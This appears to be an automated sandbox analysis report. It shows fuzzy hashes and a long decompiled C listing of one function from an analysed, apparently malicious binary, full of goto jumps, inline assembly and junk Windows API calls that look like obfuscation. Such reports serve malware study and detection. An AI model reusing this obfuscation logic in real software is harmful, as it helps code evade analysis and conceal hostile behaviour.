Instruction ID: 43fe08b3f8d9d15f5a5224c24b2a1dde5fc3c77693d8439c7d9e7b576d80fdb3
Opcode Fuzzy Hash: 5abf0f698b70b8af441bf28a934e024baafb8f7a8809d033692b1be2efeb7010
Instruction Fuzzy Hash: DC6269A7E289034AF604AF349D5A3F961956F25214F78063AD10AE72D7FF3EB149810E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0F8202 Relevance: 54.8, APIs: 36, Instructions: 813
COMMONCrypto

Download Yara Rule

C-Code - Quality: 61%

			E00007FF67FF6ED0F8202(char _a144, long long _a152) {
				void* _t110;
				signed int _t116;
				signed int _t123;
				signed int _t140;
				signed int _t152;
				signed int _t159;
				signed int _t164;
				signed int _t170;
				signed int _t175;
				signed int _t196;
				signed int _t202;
				signed int _t212;
				signed int _t229;
				signed int _t234;
				signed int _t246;
				signed int _t252;
				signed int _t269;
				signed int _t286;
				signed int _t291;
				signed int _t296;
				signed int _t320;
				signed int _t326;
				signed int _t331;
				signed int _t336;
				signed int _t341;
				signed int _t346;
				signed int _t351;
				signed int _t356;
				signed int _t392;
				signed int _t398;
				signed int _t422;
				signed int _t428;
				signed int _t445;
				signed int _t450;
				signed int _t455;
				signed int _t460;
				signed int _t465;
				signed int _t472;
				signed int _t477;
				signed int _t482;
				signed int _t489;
				signed int _t496;
				signed int _t501;
				signed int _t506;
				signed int _t511;
				signed int _t521;
				signed int _t526;
				signed int _t531;
				signed int _t536;
				signed int _t548;
				signed int _t558;
				signed int _t566;
				signed int _t573;
				signed int _t578;
				signed int _t581;
				signed int _t594;
				signed int _t599;
				signed int _t604;
				signed int _t617;
				signed int _t633;
				signed int _t638;
				signed int _t653;
				short _t659;
				signed int _t663;
				signed int _t668;
				signed int _t674;
				signed int _t679;
				signed int _t684;
				signed int _t689;
				signed int _t694;
				signed int _t700;
				signed int _t711;
				signed int _t717;
				signed int _t730;
				signed int _t735;
				signed int _t752;
				signed int _t781;
				signed int _t787;
				signed int _t792;
				signed int _t827;
				signed int _t833;
				signed int _t839;
				signed int _t845;
				signed int _t851;
				signed int _t858;
				signed int _t869;
				signed int _t881;
				signed int _t886;
				signed int _t891;
				signed int _t896;
				signed int _t927;
				signed int _t933;
				signed int _t940;
				signed int _t945;
				signed int _t953;
				signed int _t958;
				signed int _t995;
				signed int _t1001;
				signed char _t1018;
				signed char _t1104;
				signed int _t1160;
				signed int _t1169;
				void* _t1175;
				void* _t1178;
				void* _t1179;
				signed int _t1181;
				void* _t1182;
				void* _t1186;
				void* _t1187;
				void* _t1189;
				void* _t1190;
				void* _t1191;
				void* _t1192;
				void* _t1193;
				void* _t1194;
				void* _t1197;
				void* _t1198;
				void* _t1199;
				void* _t1201;
				void* _t1202;
				void* _t1203;
				void* _t1204;
				void* _t1205;
				void* _t1206;
				void* _t1207;
				void* _t1208;
				void* _t1210;
				void* _t1211;
				void* _t1212;
				void* _t1213;
				void* _t1214;
				void* _t1216;
				void* _t1217;
				void* _t1218;
				void* _t1222;
				void* _t1224;
				void* _t1225;
				void* _t1228;
				void* _t1230;
				void* _t1231;
				void* _t1232;
				void* _t1233;
				void* _t1235;
				void* _t1237;
				void* _t1238;
				void* _t1241;
				void* _t1242;
				void* _t1243;
				void* _t1244;
				void* _t1245;
				void* _t1247;
				void* _t1248;
				void* _t1249;
				void* _t1250;
				void* _t1251;
				void* _t1252;
				void* _t1254;
				void* _t1255;
				void* _t1258;
				void* _t1261;
				void* _t1262;
				void* _t1263;
				void* _t1265;
				void* _t1268;
				void* _t1270;
				void* _t1271;
				void* _t1272;
				void* _t1274;
				void* _t1278;
				void* _t1279;
				void* _t1280;
				void* _t1281;
				void* _t1282;
				void* _t1283;
				void* _t1284;
				void* _t1285;
				void* _t1286;
				void* _t1288;
				void* _t1289;
				void* _t1291;
				void* _t1296;
				void* _t1297;
				void* _t1299;
				void* _t1300;
				void* _t1301;
				void* _t1302;
				void* _t1304;
				void* _t1306;
				void* _t1307;
				void* _t1308;
				void* _t1310;
				void* _t1311;
				void* _t1313;
				void* _t1314;
				void* _t1315;
				void* _t1316;
				void* _t1318;
				void* _t1319;
				void* _t1321;
				void* _t1323;
				void* _t1324;
				void* _t1325;
				void* _t1326;
				void* _t1327;
				void* _t1328;
				long long _t1331;
				void* _t1332;
				void* _t1333;
				void* _t1338;
				void* _t1343;
				void* _t1344;
				void* _t1345;
				void* _t1347;
				void* _t1348;
				void* _t1349;
				void* _t1350;
				void* _t1351;
				void* _t1352;

				if ((_t110 - _t1001 | _t1169) + _t1001 - 0x64 < 0) goto 0xed0f8215;
				_t1175 = dil - 0x55;
				if (_t1175 < 0) goto 0xed0f81d8;
				dil = 0x2b;
				GetCurrentProcess();
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				_t116 = E00007FF67FF6ED184484(_t1331);
				if (_t1175 >= 0) goto 0xed0f823d;
				if (((_t116 & 0x8000007f) - _t1001 | _t1169) + _t1001 - 0x25 >= 0) goto 0xed0f8247;
				if (dil - sil < 0) goto 0xed0f8218;
				dil = 6;
				E00007FF67FF6ED184484(_t1331);
				goto 0xed0f826e;
				_t1178 = dil - 8;
				if (_t1178 >= 0) goto 0xed0f827d;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				_t123 = E00007FF67FF6ED184484(_t1331);
				if (_t1178 >= 0) goto 0xed0f8278;
				_t1179 = ((_t123 & 0x8000007f) - _t1001 | _t1169) + _t1001 - 0x1a;
				if (_t1179 == 0) goto 0xed0f8256;
				 *0xed236f60 = _t1001;
				dil = 0x44;
				E00007FF67FF6ED184484(_t1331);
				if (_t1179 >= 0) goto 0xed0f8295;
				asm("movsd xmm6, [0x1118e3]");
				goto 0xed0f82ce;
				if (dil - bpl >= 0) goto 0xed0f82dc;
				GetParent();
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				_t1181 = E00007FF67FF6ED184484(_t1331) & 0x8000007f;
				if (_t1181 >= 0) goto 0xed0f82ce;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1181 >= 0) goto 0xed0f82a4;
				 *0xed236f60 = _t1001;
				sil = 0x24;
				_t140 = E00007FF67FF6ED184484(_t1331);
				if (_t1181 >= 0) goto 0xed0f82fa;
				_t1182 = ((_t140 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x5f;
				if (_t1182 <= 0) goto 0xed0f8321;
				GetTopWindow(??);
				E00007FF67FF6ED184484(_t1331);
				if (_t1182 >= 0) goto 0xed0f8317;
				goto 0xed0f838e;
				_t152 = E00007FF67FF6ED184484(_t1331) & 0x8000007f;
				if (_t152 >= 0) goto 0xed0f8331;
				if ((_t152 - _t1001 | 0xffffff80) + _t1001 != 0x58) goto 0xed0f8342;
				AnyPopup();
				E00007FF67FF6ED184484(_t1331);
				goto 0xed0f837c;
				dil = 0x28;
				goto 0xed0f835a;
				_t1186 = dil - 0x2c;
				if (_t1186 >= 0) goto 0xed0f8372;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				_t159 = E00007FF67FF6ED184484(_t1331);
				if (_t1186 >= 0) goto 0xed0f836d;
				_t1187 = ((_t159 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x43;
				if (_t1187 != 0) goto 0xed0f8347;
				_t164 = E00007FF67FF6ED184484(_t1331);
				if (_t1187 >= 0) goto 0xed0f8387;
				sil = sil + _t1001;
				 *0xed236f60 = 0 | ((_t164 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 == 0x00000058;
				 *0xed236f60 = sil & 0xffffffff;
				_t1189 = sil - 0x2a;
				if (_t1189 < 0) goto 0xed0f82ea;
				_t170 = E00007FF67FF6ED184484(_t1331);
				if (_t1189 >= 0) goto 0xed0f83bb;
				_t1190 = ((_t170 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x1f;
				if (_t1190 > 0) goto 0xed0f83de;
				_t175 = E00007FF67FF6ED184484(_t1331);
				if (_t1190 >= 0) goto 0xed0f83d0;
				_t1191 = ((_t175 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x1f;
				 *0xed236f60 = 0 | _t1191 <= 0x00000000;
				E00007FF67FF6ED184484(_t1331);
				if (_t1191 >= 0) goto 0xed0f83ee;
				asm("movsd xmm6, [0x111782]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1191 < 0) goto 0xed0f8433;
				IsIconic(??);
				E00007FF67FF6ED184484(_t1331);
				if (_t1191 >= 0) goto 0xed0f841c;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1191 >= 0x00000000; // executed
				E00007FF67FF6ED106FB0(_t1191, _t1331, _t1333, _t1338); // executed
				_a152 = _t1331;
				E00007FF67FF6ED1075F0(0, 0x31, 0x8000007f, _t1332, _t1331, _t1343, _t1345, _t1347, _t1348);
				r9d = 0;
				r8d = r15d;
				E00007FF67FF6ED0F56BC(_t1191, _t1332, _t1331, _t1351, _t1331, _t1343, _t1344, _t1349, _t1350, _t1351, _t1352); // executed
				 *0xed236f60 = 0x35;
				_t1192 = 0x35 + _t1001 - 0x37;
				if (_t1192 < 0) goto 0xed0f845e;
				_t196 = E00007FF67FF6ED184484(_t1331);
				r15d = 0x8000007f;
				r14d = 0xffffff80;
				if (_t1192 >= 0) goto 0xed0f848b;
				_t1193 = ((_t196 & r15d) - _t1001 | r14d) + _t1001 - 0xb;
				if (_t1193 == 0) goto 0xed0f84ae;
				GetMessageTime();
				_t202 = E00007FF67FF6ED184484(_t1331);
				if (_t1193 >= 0) goto 0xed0f84a7;
				_t1194 = ((_t202 & r15d) - _t1001 | r14d) + _t1001 - 0xb;
				goto 0xed0f84d5;
				E00007FF67FF6ED184484(_t1331);
				if (_t1194 >= 0) goto 0xed0f84bf;
				_t212 = E00007FF67FF6ED184484(_t1331);
				if (_t1194 >= 0) goto 0xed0f84d0;
				 *0xed236f60 = 0 | ((_t212 & r15d) - _t1001 | r14d) + _t1001 != 0x0000000f;
				GetLastActivePopup(??);
				GetDesktopWindow();
				GetTopWindow(??);
				GetCurrentProcess();
				_t1018 = sil;
				 *0xed236f60 = _t1018 & 0x000000ff;
				if (_t1018 + _t1001 - 0x30 < 0) goto 0xed0f8502;
				_a144 = 0x4e;
				 *0xed236f60 = 0x4a;
				_t1197 = 0x4a + _t1001 - 0x4e;
				if (_t1197 < 0) goto 0xed0f851d;
				AnyPopup();
				E00007FF67FF6ED184484(_t1331);
				if (_t1197 >= 0) goto 0xed0f8543;
				asm("movsd xmm6, [0x11158d]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1197 <= 0) goto 0xed0f85be;
				_t229 = E00007FF67FF6ED184484(_t1331);
				if (_t1197 >= 0) goto 0xed0f856a;
				_t1198 = ((_t229 & r15d) - _t1001 | r14d) + _t1001 - 0x44;
				if (_t1198 == 0) goto 0xed0f858e;
				_t234 = E00007FF67FF6ED184484(_t1331);
				if (_t1198 >= 0) goto 0xed0f8580;
				_t1199 = ((_t234 & r15d) - _t1001 | r14d) + _t1001 - 0x44;
				 *0xed236f60 = 0 | _t1199 != 0x00000000;
				 *0xed236f60 = _t1001;
				E00007FF67FF6ED184484(_t1331);
				if (_t1199 >= 0) goto 0xed0f85a5;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1199 > 0x00000000;
				goto 0xed0f860f;
				_t246 = E00007FF67FF6ED184484(_t1331);
				if (_t1199 >= 0) goto 0xed0f85cf;
				if (((_t246 & r15d) - _t1001 | r14d) + _t1001 != 0x61) goto 0xed0f85f0;
				dil = 0x14;
				E00007FF67FF6ED1EE3D8();
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				_t1201 = dil - 0x1d;
				if (_t1201 < 0) goto 0xed0f85d7;
				_t252 = E00007FF67FF6ED184484(_t1331);
				if (_t1201 >= 0) goto 0xed0f8601;
				_t1202 = ((_t252 & r15d) - _t1001 | r14d) + _t1001 - 0x61;
				 *0xed236f60 = 0 | _t1202 != 0x00000000;
				E00007FF67FF6ED184484(_t1331);
				if (_t1202 >= 0) goto 0xed0f8620;
				asm("movsd xmm6, [0x111510]");
				r15d = 4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1202 < 0) goto 0xed0f8674;
				 *0xed236f60 = r15d;
				E00007FF67FF6ED184484(_t1331);
				if (_t1202 >= 0) goto 0xed0f8658;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1202 >= 0x00000000;
				goto 0xed0f8709;
				_t269 = E00007FF67FF6ED184484(_t1331);
				if (_t1202 >= 0) goto 0xed0f8687;
				_t1203 = ((_t269 & 0x8000007f) - _t1001 | r14d) + _t1001 - 0x2f;
				if (_t1203 != 0) goto 0xed0f8698;
				E00007FF67FF6ED184484(_t1331);
				goto 0xed0f86f0;
				dil = bpl;
				E00007FF67FF6ED184484(_t1331);
				if (_t1203 >= 0) goto 0xed0f86b0;
				asm("movsd xmm6, [0x111348]");
				goto 0xed0f86dd;
				_t1204 = dil - 0x6b;
				if (_t1204 >= 0) goto 0xed0f86eb;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1331);
				if (_t1204 >= 0) goto 0xed0f86dd;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1204 >= 0) goto 0xed0f86ba;
				_t286 = E00007FF67FF6ED184484(_t1331);
				if (_t1204 >= 0) goto 0xed0f86fb;
				_t1205 = ((_t286 & 0x8000007f) - _t1001 | r14d) + _t1001 - 0x2f;
				 *0xed236f60 = 0 | _t1205 == 0x00000000;
				_t291 = E00007FF67FF6ED184484(_t1331);
				if (_t1205 >= 0) goto 0xed0f8719;
				_t1206 = ((_t291 & 0x8000007f) - _t1001 | r14d) + _t1001 - 0x55;
				if (_t1206 <= 0) goto 0xed0f8742;
				E00007FF67FF6ED1EE020();
				_t296 = E00007FF67FF6ED184484(_t1331);
				if (_t1206 >= 0) goto 0xed0f8734;
				_t1207 = ((_t296 & 0x8000007f) - _t1001 | r14d) + _t1001 - 0x55;
				 *0xed236f60 = 0 | _t1207 > 0x00000000;
				GetMessageTime();
				GetCurrentProcessId();
				GetTopWindow(??);
				dil = r15b;
				E00007FF67FF6ED184484(_t1331);
				if (_t1207 >= 0) goto 0xed0f8769;
				asm("movsd xmm6, [0x11135f]");
				goto 0xed0f8796;
				_t1208 = dil - 0xf;
				if (_t1208 >= 0) goto 0xed0f87a6;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1331);
				if (_t1208 >= 0) goto 0xed0f8796;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1208 != 0) goto 0xed0f87a6;
				if (_t1208 == 0) goto 0xed0f8773;
				E00007FF67FF6ED184484(_t1331);
				if (_t1208 >= 0) goto 0xed0f87b6;
				asm("movsd xmm6, [0x1111fa]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1208 != 0) goto 0xed0f88ca;
				if (_t1208 != 0) goto 0xed0f88ca;
				_t320 = E00007FF67FF6ED184484(_t1331);
				if (_t1208 >= 0) goto 0xed0f87eb;
				if (((_t320 & 0x8000007f) - _t1001 | r14d) + _t1001 == 0x16) goto 0xed0f8825;
				 *0xed236f60 = 0xe;
				_t1210 = 0xe + _t1001 - sil;
				if (_t1210 < 0) goto 0xed0f87f2;
				_t326 = E00007FF67FF6ED184484(_t1331);
				if (_t1210 >= 0) goto 0xed0f8812;
				_t1211 = ((_t326 & 0x8000007f) - _t1001 | r14d) + _t1001 - 0x16;
				 *0xed236f60 = 0 | _t1211 != 0x00000000;
				goto 0xed0f88f6;
				_t331 = E00007FF67FF6ED184484(_t1331);
				if (_t1211 >= 0) goto 0xed0f8835;
				_t1212 = ((_t331 & 0x8000007f) - _t1001 | r14d) + _t1001 - 0x29;
				if (_t1212 == 0) goto 0xed0f8888;
				_t336 = E00007FF67FF6ED184484(_t1331);
				if (_t1212 >= 0) goto 0xed0f884a;
				_t1213 = ((_t336 & 0x8000007f) - _t1001 | r14d) + _t1001 - 0x5a;
				if (_t1213 == 0) goto 0xed0f8854;
				E00007FF67FF6ED1EE3D8();
				_t341 = E00007FF67FF6ED184484(_t1331);
				if (_t1213 >= 0) goto 0xed0f8864;
				_t1214 = ((_t341 & 0x8000007f) - _t1001 | r14d) + _t1001 - 0x5a;
				 *0xed236f60 = 0 | _t1214 != 0x00000000;
				_t346 = E00007FF67FF6ED184484(_t1331);
				if (_t1214 >= 0) goto 0xed0f8881;
				goto 0xed0f88bc;
				_t351 = E00007FF67FF6ED184484(_t1331);
				if (((_t346 & 0x8000007f) - _t1001 | r14d) + _t1001 - 0x29 >= 0) goto 0xed0f8898;
				_t1216 = ((_t351 & 0x8000007f) - _t1001 | r14d) + _t1001 - 0x17;
				if (_t1216 == 0) goto 0xed0f8802;
				E00007FF67FF6ED1EE3E0();
				_t356 = E00007FF67FF6ED184484(_t1331);
				if (_t1216 >= 0) goto 0xed0f88b7;
				_t1217 = ((_t356 & 0x8000007f) - _t1001 | r14d) + _t1001 - 0x17;
				 *0xed236f60 = 0 | _t1217 != 0x00000000;
				goto 0xed0f8802;
				E00007FF67FF6ED184484(_t1331);
				if (_t1217 >= 0) goto 0xed0f88da;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1217 != 0) goto 0xed0f88ee;
				if (_t1217 != 0) goto 0xed0f88ee;
				goto 0xed0f88f0;
				 *0xed236f60 = _t1001;
				dil = 0x4b;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1331);
				if (_t1217 >= 0) goto 0xed0f8916;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x1111da]");
				if (_t1217 < 0) goto 0xed0f892e;
				_t1218 = dil - 0x4f;
				if (_t1218 < 0) goto 0xed0f88f9;
				asm("movsd xmm6, [0x111222]");
				dil = 0x30;
				E00007FF67FF6ED184484(_t1331);
				if (_t1218 >= 0) goto 0xed0f8949;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				E00007FF67FF6ED184484(_t1331);
				if (_t1218 >= 0) goto 0xed0f8961;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1218 >= 0x00000000;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x41 < 0) goto 0xed0f8939;
				GetModuleHandleW(??);
				 *0xed236f60 = 0x19;
				if (0x19 + _t1001 - 0x20 < 0) goto 0xed0f8995;
				 *0xed236f60 = 0x39;
				if (0x39 + _t1001 - 0x42 < 0) goto 0xed0f89a7;
				GetMessageExtraInfo();
				 *0xed236f60 = 0x63;
				_t1222 = 0x63 + _t1001 - 0x74;
				if (_t1222 < 0) goto 0xed0f89bf;
				 *0xed236f60 = 0;
				_t392 = E00007FF67FF6ED184484(_t1331);
				if (_t1222 >= 0) goto 0xed0f89e9;
				if (((_t392 & 0x8000007f) - _t1001 | r14d) + _t1001 - 0x1b > 0) goto 0xed0f8a1e;
				 *0xed236f60 = 0x16;
				_t1224 = 0x16 + _t1001 - 0x19;
				if (_t1224 < 0) goto 0xed0f89f0;
				_t398 = E00007FF67FF6ED184484(_t1331);
				if (_t1224 >= 0) goto 0xed0f8a10;
				_t1225 = ((_t398 & 0x8000007f) - _t1001 | r14d) + _t1001 - 0x1b;
				 *0xed236f60 = 0 | _t1225 <= 0x00000000;
				GetTopWindow(??);
				GetCurrentProcessId();
				E00007FF67FF6ED184484(_t1331);
				if (_t1225 >= 0) goto 0xed0f8a3c;
				asm("movsd xmm6, [0x11116c]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1225 < 0) goto 0xed0f8a79;
				E00007FF67FF6ED184484(_t1331);
				if (_t1225 >= 0) goto 0xed0f8a62;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1225 >= 0x00000000;
				bpl = 0x2d;
				 *0xed236f60 = 0x1f;
				if (0x1f + _t1001 - bpl < 0) goto 0xed0f8a7e;
				r14b = 0x31;
				dil = r14b;
				GetTickCount();
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x39 < 0) goto 0xed0f8a94;
				GetCurrentProcess();
				sil = 7;
				dil = 0x36;
				goto 0xed0f8ace;
				_t1228 = dil - 0x4a;
				if (_t1228 >= 0) goto 0xed0f8ae6;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				_t422 = E00007FF67FF6ED184484(_t1331);
				if (_t1228 >= 0) goto 0xed0f8ae1;
				if (((_t422 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x60 >= 0) goto 0xed0f8abb;
				sil = sil + _t1001;
				 *0xed236f60 = sil & 0xffffffff;
				_t1230 = sil - 0x12;
				if (_t1230 < 0) goto 0xed0f8ab6;
				 *0xed236f60 = 0x5d;
				_t428 = E00007FF67FF6ED184484(_t1331);
				if (_t1230 >= 0) goto 0xed0f8b19;
				_t1231 = ((_t428 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x6d;
				if (_t1231 == 0) goto 0xed0f8b89;
				E00007FF67FF6ED184484(_t1331);
				if (_t1231 >= 0) goto 0xed0f8b2e;
				asm("movsd xmm6, [0x111062]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1231 < 0) goto 0xed0f8b6b;
				E00007FF67FF6ED184484(_t1331);
				if (_t1231 >= 0) goto 0xed0f8b54;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1231 >= 0x00000000;
				_t445 = E00007FF67FF6ED184484(_t1331);
				if (_t1231 >= 0) goto 0xed0f8b7b;
				_t1232 = ((_t445 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x6d;
				 *0xed236f60 = 0 | _t1232 != 0x00000000;
				dil = 0x26;
				_t450 = E00007FF67FF6ED184484(_t1331);
				if (_t1232 >= 0) goto 0xed0f8b9f;
				_t1233 = ((_t450 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0xf;
				if (_t1233 >= 0) goto 0xed0f8bbe;
				_t455 = E00007FF67FF6ED184484(_t1331);
				if (_t1233 >= 0) goto 0xed0f8bb7;
				goto 0xed0f8bee;
				_t460 = E00007FF67FF6ED184484(_t1331);
				if (((_t455 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0xf >= 0) goto 0xed0f8bd1;
				_t1235 = ((_t460 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x50;
				if (_t1235 >= 0) goto 0xed0f8bf7;
				_t465 = E00007FF67FF6ED184484(_t1331);
				if (_t1235 >= 0) goto 0xed0f8be9;
				 *0xed236f60 = 0 | ((_t465 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x00000050 < 0x00000000;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				_t1237 = dil - 0x30;
				if (_t1237 < 0) goto 0xed0f8b8c;
				GetLastActivePopup(??);
				_t472 = E00007FF67FF6ED184484(_t1331);
				if (_t1237 >= 0) goto 0xed0f8c25;
				_t1238 = ((_t472 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x68;
				if (_t1238 < 0) goto 0xed0f8c4a;
				_t477 = E00007FF67FF6ED184484(_t1331);
				if (_t1238 >= 0) goto 0xed0f8c41;
				goto 0xed0f8c99;
				_t482 = E00007FF67FF6ED184484(_t1331);
				if (((_t477 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x68 >= 0) goto 0xed0f8c5d;
				if (((_t482 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 == 0x62) goto 0xed0f8c9f;
				dil = 0x11;
				 *0xed1ee008();
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				_t1241 = dil - 0x1f;
				if (_t1241 < 0) goto 0xed0f8c65;
				_t489 = E00007FF67FF6ED184484(_t1331);
				if (_t1241 >= 0) goto 0xed0f8c91;
				_t1242 = ((_t489 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x62;
				 *0xed236f60 = 0 | _t1242 != 0x00000000;
				 *0xed236f60 = 0;
				 *0xed236f60 = 0;
				GetLastActivePopup(??);
				GetParent(??);
				_t496 = E00007FF67FF6ED184484(_t1331);
				if (_t1242 >= 0) goto 0xed0f8cd6;
				_t1243 = ((_t496 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 8;
				if (_t1243 < 0) goto 0xed0f8cff;
				_t501 = E00007FF67FF6ED184484(_t1331);
				if (_t1243 >= 0) goto 0xed0f8cf2;
				_t1244 = ((_t501 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 8;
				 *0xed236f60 = 0 | _t1244 >= 0x00000000;
				dil = 7;
				_t506 = E00007FF67FF6ED184484(_t1331);
				if (_t1244 >= 0) goto 0xed0f8d15;
				_t1245 = ((_t506 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x1e;
				if (_t1245 <= 0) goto 0xed0f8d3b;
				_t511 = E00007FF67FF6ED184484(_t1331);
				if (_t1245 >= 0) goto 0xed0f8d2d;
				 *0xed236f60 = 0 | ((_t511 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x0000001e > 0x00000000;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				_t1247 = dil - 0x14;
				if (_t1247 < 0) goto 0xed0f8d02;
				GetDesktopWindow();
				 *0xed236f60 = _t1001;
				GetUserDefaultLangID(); // executed
				GetForegroundWindow(); // executed
				GetForegroundWindow();
				 *0xed236f60 = _t1001;
				_t521 = E00007FF67FF6ED184484(_t1331);
				if (_t1247 >= 0) goto 0xed0f8d87;
				_t1248 = ((_t521 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x46;
				if (_t1248 >= 0) goto 0xed0f8dac;
				_t526 = E00007FF67FF6ED184484(_t1331);
				if (_t1248 >= 0) goto 0xed0f8d9c;
				_t1249 = ((_t526 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x46;
				 *0xed236f60 = 0 | _t1249 < 0x00000000;
				goto 0xed0f8db2;
				 *0xed236f60 = _t1001;
				_t531 = E00007FF67FF6ED184484(_t1331);
				if (_t1249 >= 0) goto 0xed0f8dc2;
				_t1250 = ((_t531 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - _t1001;
				if (_t1250 >= 0) goto 0xed0f8de3;
				_t536 = E00007FF67FF6ED184484(_t1331);
				if (_t1250 >= 0) goto 0xed0f8dd6;
				_t1251 = ((_t536 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - _t1001;
				 *0xed236f60 = 0 | _t1251 < 0x00000000;
				asm("movsd xmm6, [0x110cbd]");
				dil = 0x1f;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1331);
				if (_t1251 >= 0) goto 0xed0f8e0e;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1251 < 0) goto 0xed0f8e21;
				_t1252 = dil - bpl;
				if (_t1252 < 0) goto 0xed0f8dee;
				E00007FF67FF6ED1EE020();
				 *0xed236f60 = 0;
				dil = 0x57;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				_t548 = E00007FF67FF6ED184484(_t1331);
				if (_t1252 >= 0) goto 0xed0f8e54;
				if (((_t548 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x74 >= 0) goto 0xed0f8e5f;
				_t1254 = dil - 0x60;
				if (_t1254 < 0) goto 0xed0f8e34;
				E00007FF67FF6ED184484(_t1331);
				if (_t1254 >= 0) goto 0xed0f8e74;
				asm("movsd xmm6, [0x110d3c]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1254 != 0) goto 0xed0f8e94;
				if (_t1254 != 0) goto 0xed0f8e94;
				 *0xed236f60 = _t1001;
				goto 0xed0f8ec0;
				_t558 = E00007FF67FF6ED184484(_t1331);
				if (_t1254 >= 0) goto 0xed0f8ea4;
				_t1255 = ((_t558 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1255 != 0) goto 0xed0f8eb8;
				if (_t1255 != 0) goto 0xed0f8eb8;
				goto 0xed0f8eba;
				 *0xed236f60 = _t1001;
				GetMessageExtraInfo();
				_t566 = E00007FF67FF6ED184484(_t1331);
